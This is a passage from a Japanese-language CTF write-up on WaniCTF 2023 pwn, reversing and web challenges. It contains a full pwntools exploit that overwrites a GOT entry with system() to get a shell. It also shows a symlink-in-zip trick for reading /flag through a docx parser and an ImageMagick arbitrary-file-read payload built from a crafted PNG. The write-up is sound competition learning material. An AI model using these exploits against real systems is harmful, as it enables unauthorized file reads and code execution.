studentの一番最初の要素はchar name[10]
になっているので、choice.IsAvailable(&user)
はchoice.IsAvailable(&user.name)
と考えることができます。このnameはプログラムを実行したときに設定できるので、IsAvailable
にsystem関数のアドレスを設定しname
を/bin/sh
とすればシェルを起動できそうです。
よって、この問題は以下の手順で解くことができます。
- 起動時にnameを
/bin/sh
にする。 register_mandatory_class
で4を入力してtype confusionを起こす。write_memo
で、適当なGOTとIsAvailableTWIのアドレスを書き込む。register_elective_class
でlibcのベースアドレスを取得する。write_memo
で、適当なアドレスとsystem関数のアドレスを書き込む。register_elective_class
で1(The World of Intellect)を選択する。
from pwn import * p = remote("timetable-pwn.wanictf.org", 9008) libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6") elf = ELF("./chall") got_puts = elf.got["puts"] is_avail_twi = elf.symbols["IsAvailableTWI"] def register_mandatory(idx): p.sendlineafter(b'>', b'1') p.sendlineafter(b'>', str(idx).encode()) def register_elective(idx): p.sendlineafter(b'>', b'1') p.sendlineafter(b'>', str(idx).encode()) def register_student(name, id, major): p.sendlineafter(b': ', name) p.sendlineafter(b': ', str(id).encode()) p.sendlineafter(b': ', str(major).encode()) def write_memo(choose, data): p.sendlineafter(b'>', b'4') p.sendlineafter(b'>', choose) p.sendafter(b'WRITE MEMO FOR THE CLASS\n', data) register_student(b"/bin/sh", 999, 9999) register_mandatory(4) write_memo(b'FRI 3', p64(got_puts)+p64(is_avail_twi)) # leak libc p.sendlineafter(b'>', b'2') p.recvuntil(b'The World of Intellect - ') libc_puts = u64(p.recvline().rstrip().ljust(8, b'\x00')) libc.address = libc_puts - libc.symbols["puts"] p.sendlineafter(b'>', b'1') write_memo(b"FRI 3", p64(got_puts) + p64(libc.symbols["system"])) p.interactive()
$ python3 solve.py [+] Opening connection to timetable-pwn.wanictf.org on port 9008: Done [*] '/usr/lib/x86_64-linux-gnu/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] '/home/miso/ctf/wani2023/pwn/pwn-TimeTable/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) [*] Switching to interactive mode MON TUE WED THU FRI 1 (null) (null) (null) (null) (null) 2 (null) (null) (null) (null) (null) 3 (null) (null) (null) (null) The World of Intellect 4 (null) (null) (null) (null) (null) 5 (null) (null) (null) (null) (null) 1. Register Mandatory Class 2. Register Elective Class 3. See Class Detail 4. Write Memo 5. Exit >$ 2 MON TUE WED THU FRI 1 (null) (null) (null) (null) (null) 2 (null) (null) (null) (null) (null) 3 (null) (null) (null) (null) The World of Intellect 4 (null) (null) (null) (null) (null) 5 (null) (null) (null) (null) (null) -----Elective Class List----- 0 : World Affairs - Nomura Kameyo 1 : The World of Intellect - \xd0^\x12T\x7f >$ 1 $ ls FLAG chall redir.sh $ cat FLAG FLAG{Do_n0t_confus3_mandatory_and_el3ctive}
Reversing
[Beginner] Just_Passw0rd
strings just_password | grep FLAG
でフラグが見つかります。
$ strings just_password | grep FLAG FLAG is FLAG{1234_P@ssw0rd_admin_toor_qwerty}
[Easy] javersing
javersing.jarをunzipで展開すると、javersing.classが得られます。
JD-guiを使ってjaversing.classファイルをデコンパイルすると、次のコードが得られました。
import java.util.Scanner; public class javersing { public static void main(String[] paramArrayOfString) { String str1 = "Fcn_yDlvaGpj_Logi}eias{iaeAm_s"; boolean bool = true; Scanner scanner = new Scanner(System.in); System.out.println("Input password: "); String str2 = scanner.nextLine(); str2 = String.format("%30s", new Object[] { str2 }).replace(" ", "0"); for (byte b = 0; b < 30; b++) { if (str2.charAt(b * 7 % 30) != str1.charAt(b)) bool = false; } if (bool) { System.out.println("Correct!"); } else { System.out.println("Incorrect..."); } } }
同じ処理を行うPythonコードを書くとフラグが求まりました。
enc_flag = "Fcn_yDlvaGpj_Logi}eias{iaeAm_s" flag = [None for _ in range(30)] for i in range(30): flag[(i*7) % 30] = enc_flag[i] print("".join(flag))
$ python3 solve.py FLAG{Decompiling_java_is_easy}
[Easy] fermat
gdbで、print_flag関数にジャンプすることでフラグが出力されました。
$ gdb fermat ... pwndbg> b *main pwndbg> r pwndbg> jump *print_flag Continuing at 0x555555555207. FLAG{you_need_a_lot_of_time_and_effort_to_solve_reversing_208b47bd66c2cd8}
[Easy] Lua
CRYPTEDlIIlIIlI関数内の変数c
の中身を出力してみると、RC4っぽい関数と変数が見つかりました。
$ lua5.1 main.lua i 128 S table: 0x55911cb20f80 j 81 cipher function: 0x55911ca5abb0 generate function: 0x55911ca75390 schedule function: 0x55911cb20e80
CRYPTEDlIIlIIlIに渡されている変数a
を鍵、b
を暗号文としてRC4で復号するとフラグを含んだデータが出力されました。
import base64 from Crypto.Cipher import ARC4 enc = base64.b64decode("hNZ8nGxeJqN0jPo9p6vV/JIyjs7HeX/3fHBGcAtfjO6b7PhWhBevBHFUmpnPlVWhe6VWjX0xcmjxGhSll/sBYL3nfRxjVXDxx9GP0fKxqmXyz9KC7Gy4cFTd7JT4M4037RtHzqCMzODXBOpfNywDmyPi3p0J3hciFvCG3KbUuxDdQ+ausCmyA1Rzyl2rFeoMp+jabZm2E+uDYh537h8NLpcFnLYWsmKcwZJeMJo/laKCv8e+Q4ExNFwzXXolyY9DhaI7k33arVA14rFFV99YyVx15ilaadg5EA9WZrEewRImcxsNCG5IHp4XsB14n7gAx/rys0C9N3COzwc41/wBAsNJ1GguX3Sfo05gsoVO8/rdXPN8zRMPGksizYs9rnlGnkrO3OuSVgGISW63ZOayPL7RCOW4/o9ttNo+/IIyId5LlGXdz3rFyiTBO4vg1kUHt8bdX8moez/kqH6xmmupb4yr4Zn1jJBKqLtvEVKGcczIj0QZVSYMgHbpp/Wcc9Tpjs3V3U7GsUGFXIF7EcmiwA39wx6k3bHFVt4zC9oTNEA6BYdyW3TTF+iJcb56/BZS1VryNAcfrkJnp7UIBG25j7zIirn4usH/uS2jNi2qA+oK49X6gpru3xW4yhpx9L1HmInosAX5ObyQKtPXZqsMRoCsH+qFN+p8Z+l+2lxZYysJox/IZF7TJtEC1uosXhGD8EsbeJOAwfLDlZMXpwSeWCtOjk8bsMIKVMXAAOv2YSDs65G3IAGohfhHtzhBvQG2OLPjBnNM+i4DaDn7sA9d2At5eqCw8oXchaFVehVOYEdBlpB03ATat1EMAVzwjBrIILMmP04fb3Ph3JldtmrVvA==") key = b'k)-_Se*Zyr5hv:+6@N3' cipher = ARC4.new(key) print(base64.b64decode(cipher.encrypt(enc)))
$ python3 solve.py b'\x1bLuaQ\x00\x01\x04\x08\x04\x08\x00\x05\x00\x00\x00\x00\x00\x00\x00gg_y\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x04\x14\x00\x00\x00\x05\x00\x00\x00\x06@@\x00A\x80\x00\x00\x1c@\x00\x01\x05\x00\x00\x00\x06\xc0@\x00\x0b\x00A\x00\x81@\x01\x00\x1c\x80\x80\x01A\x80\x01\x00\x17@\x00\x00\x16\xc0\x00\x80\x85\xc0\x01\x00\xc1\x00\x02\x00\x9c@\x00\x01\x16\x80\x00\x80\x85\xc0\x01\x00\xc1@\x02\x00\x9c@\x00\x01\x1e\x00\x80\x00\n\x00\x00\x00\x04\x03\x00\x00\x00\x00\x00\x00\x00io\x00\x04\x06\x00\x00\x00\x00\x00\x00\x00write\x00\x04\x0e\x00\x00\x00\x00\x00\x00\x00Input FLAG : \x00\x04\x06\x00\x00\x00\x00\x00\x00\x00stdin\x00\x04\x05\x00\x00\x00\x00\x00\x00\x00read\x00\x04\x06\x00\x00\x00\x00\x00\x00\x00*line\x00\x04C\x00\x00\x00\x00\x00\x00\x00FLAG{1ua_0r_py4h0n_wh4t_d0_y0u_3ay_w4en_43ked_wh1ch_0ne_1s_be44er}\x00\x04\x06\x00\x00\x00\x00\x00\x00\x00print\x00\x04\x08\x00\x00\x00\x00\x00\x00\x00Correct\x00\x04\n\x00\x00\x00\x00\x00\x00\x00Incorrect\x00\x00\x00\x00\x00\x14\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00\x04\x00\x00\x00\x04\x00\x00\x00\x05\x00\x00\x00\x05\x00\x00\x00\x05\x00\x00\x00\x05\x00\x00\x00\x07\x00\x00\x00\x07\x00\x00\x00\x07\x00\x00\x00\x08\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00a\x00\t\x00\x00\x00\x13\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00b\x00\n\x00\x00\x00\x13\x00\x00\x00\x00\x00\x00\x00'
[Normal] theseus
angrで殴る
import angr proj = angr.Project("./chall") simgr = proj.factory.simgr() simgr.explore(find=lambda x: b'Correct!' in x.posix.dumps(1)) if simgr.found: print(simgr.found[0].posix.dumps(0))
$ python3 solve.py WARNING | 2023-05-06 18:58:08,952 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000. WARNING | 2023-05-06 18:58:10,266 | angr.storage.memory_mixins.default_filler_mixin | The program is accessing memory with an unspecified value. This could indicate unwanted behavior. WARNING | 2023-05-06 18:58:10,267 | angr.storage.memory_mixins.default_filler_mixin | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by: WARNING | 2023-05-06 18:58:10,267 | angr.storage.memory_mixins.default_filler_mixin | 1) setting a value to the initial state WARNING | 2023-05-06 18:58:10,267 | angr.storage.memory_mixins.default_filler_mixin | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null WARNING | 2023-05-06 18:58:10,267 | angr.storage.memory_mixins.default_filler_mixin | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to suppress these messages. WARNING | 2023-05-06 18:58:10,267 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffeff8c with 4 unconstrained bytes referenced from 0x401109 (_start+0x9 in chall (0x1109)) b'FLAG{vKCsq3jl4j_Y0uMade1t}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
[Hard] web_assembly
雰囲気で解いたので、reversingは結構適当です。
初めに、index.wasmにアクセスして.wasmファイルを手に入れます。
ghidra_wasmという拡張機能をghidraにインストールして、index.wasmをデコンパイルします。
unnamed_function_13を見ると、prompt_nameやprompt_passといった関数やCorrect
やIncorrect
という文字列が見つかります。
undefined4 unnamed_function_13(void) { undefined4 uVar1; uint uVar2; undefined local_88 [12]; undefined local_7c [12]; undefined local_70 [12]; undefined local_64 [12]; undefined local_58 [12]; undefined local_4c [12]; undefined local_40 [12]; undefined local_34 [12]; undefined local_28 [12]; undefined local_1c [12]; undefined local_10 [12]; undefined4 local_4; local_4 = 0; unnamed_function_14(local_10,0x101a0); unnamed_function_14(local_1c,0x1024c); unnamed_function_14(local_28,&PTR_DAT_ram_00616c46_ram_0001019c); unnamed_function_14(local_34,0x101e6); unnamed_function_14(local_40,0x1006a); unnamed_function_14(local_4c,0x1011d); unnamed_function_14(local_58,0x10111); unnamed_function_14(local_64,0x100ca); unnamed_function_14(local_70,0x10000); uVar1 = import::env::prompt_name(); unnamed_function_14(local_7c,uVar1); uVar1 = import::env::prompt_pass(); unnamed_function_14(local_88,uVar1); uVar1 = unnamed_function_15(0x143c4,s_Your_UserName_:_ram_0001026d); uVar1 = unnamed_function_16(uVar1,local_7c); unnamed_function_18(uVar1,1); uVar1 = unnamed_function_15(0x143c4,s_Your_PassWord_:_ram_0001027e); uVar1 = unnamed_function_16(uVar1,local_88); unnamed_function_18(uVar1,1); uVar2 = unnamed_function_19(local_7c,local_10); if (((uVar2 & 1) == 0) || (uVar2 = unnamed_function_19(local_88,local_1c), (uVar2 & 1) == 0)) { uVar1 = unnamed_function_15(0x143c4,s_Incorrect!_ram_0001020a); unnamed_function_18(uVar1,1); } else { uVar1 = unnamed_function_15(0x143c4,s_Correct!!_Flag_is_here!!_ram_00010233); unnamed_function_18(uVar1,1); uVar1 = unnamed_function_16(0x143c4,local_28); uVar1 = unnamed_function_16(uVar1,local_34); uVar1 = unnamed_function_16(uVar1,local_40); uVar1 = unnamed_function_16(uVar1,local_4c); uVar1 = unnamed_function_16(uVar1,local_58); uVar1 = unnamed_function_16(uVar1,local_64); uVar1 = unnamed_function_16(uVar1,local_70); unnamed_function_18(uVar1,1); local_4 = 0; } unnamed_function_1563(local_88); unnamed_function_1563(local_7c); unnamed_function_1563(local_70); unnamed_function_1563(local_64); unnamed_function_1563(local_58); unnamed_function_1563(local_4c); unnamed_function_1563(local_40); unnamed_function_1563(local_34); unnamed_function_1563(local_28); unnamed_function_1563(local_1c); unnamed_function_1563(local_10); return local_4; }
この中で、usernameとpasswordの判定は、
uVar2 = unnamed_function_19(local_7c,local_10); if (((uVar2 & 1) == 0) || (uVar2 = unnamed_function_19(local_88,local_1c), (uVar2 & 1) == 0)) {
この2行で行っていそうなことが分かります。
unnamed_function_19
をざっと見ると、与えられた2つの引数が一致しているか確認するだけの関数であることが分かります。
local_7c
とloca_88
はそれぞれ、ユーザが入力したusernameとpasswordであることが29行~32行から予想できるので、正しいusernameとpasswordはlocal_10
とlocal_1c
に格納されていることが予想できます。
また、20行目~28行目の処理は第一引数に第二引数のアドレスにあるデータを格納しているように見えます。
unnamed_function_14(local_10,0x101a0); unnamed_function_14(local_1c,0x1024c); unnamed_function_14(local_28,&PTR_DAT_ram_00616c46_ram_0001019c); unnamed_function_14(local_34,0x101e6); unnamed_function_14(local_40,0x1006a); unnamed_function_14(local_4c,0x1011d); unnamed_function_14(local_58,0x10111); unnamed_function_14(local_64,0x100ca); unnamed_function_14(local_70,0x10000);
実際に0x101a0と0x1024cを見ると、文字列が置いてあるのでこれをusername, passwordとして入力するとフラグが出力されました。
ram:000101a0 63 6b 77 ds "ckwajea" <- user name 61 6a 65 61 00 ...... ram:0001024c 66 65 61 ds "feag5gwea1411_efae!!" <- password 67 35 67 77 65 61 ... (見やすくするためにData -> stringで文字列表示にしています)
Web
[Beginner] IndexedDB
開発者ツールを開いて、アプリケーション→IndexedDBを見ていくとフラグが書かれていました。
[Easy] Extract Service 1
Extract Service 2の解き方で解けたので、そちらを参照してください。
[Easy] 64bps
フラグが2GBのファイルの末尾にあり、通信速度が8byte/sに制限されているため、普通にアクセスすると無限に時間がかかります。 HTTPのRangeリクエストを使うことで、フラグの部分のみを取得することができます。
import requests url = "https://64bps-web.wanictf.org/2gb.txt" size = 2147483648 headers = { "Range": f"bytes={size}-" } res = requests.get(url, headers=headers) print(res.text)
$ python3 solve.py FLAG{m@ke_use_0f_r@n0e_reques7s_f0r_l@r9e_f1les}
[Normal] Extract Service 2
/flagのシンボリックリンクをword/document.xmlという名前で作成し、zip圧縮します。
$ mkdir word $ sudo ln -s /flag ./word/document.xml $ zip -ry evil.zip ./word
後はこのzipファイルをdocxファイルとして送信すると、word/document.xmlを読みに行くときにflagを読んでくれます。
[Normal] certified1
kurenaifさんの動画でImageMagickの脆弱性について解説している動画があったのを思い出して、それを参考に解きました。
以下のコマンドを実行してpngファイルを作成します。(hoge.pngは任意のpngファイル)
$ pngcrush -text a "profile" "/flag_A" hoge.png $ exiv2 -pS pngout.png
この画像ファイルを送信して、得られた画像ファイル(ここではflag.pngとします)にidentify
を実行するとフラグが得られました。
$ identify -verbose flag.png ... Raw profile type: 42 464c41477b3768655f736563306e645f663161395f31735f77343174316e395f6630725f 793075217d0a signature: 549eff32e5d5c8b6b5aa066cec9d1d72891c860f005c71a7a8d7fb8b161d7ce6 ... $ python3 -c 'print(bytes.fromhex("464c41477b3768655f736563306e645f663161395f31735f77343174316e395f6630725f793075217d0a"))' b'FLAG{7he_sec0nd_f1a9_1s_w41t1n9_f0r_y0u!}\n'
感想
WaniCTFは様々なジャンルの問題を幅広い難易度で提供してくれるので、毎回楽しみにしています。今回のCTFで、Crypto、Webが苦手だと再確認できたので、そろそろ真面目に勉強していきたいところです。
Wani Hackaseの皆様、楽しいCTFを開催していただき本当にありがとうございました!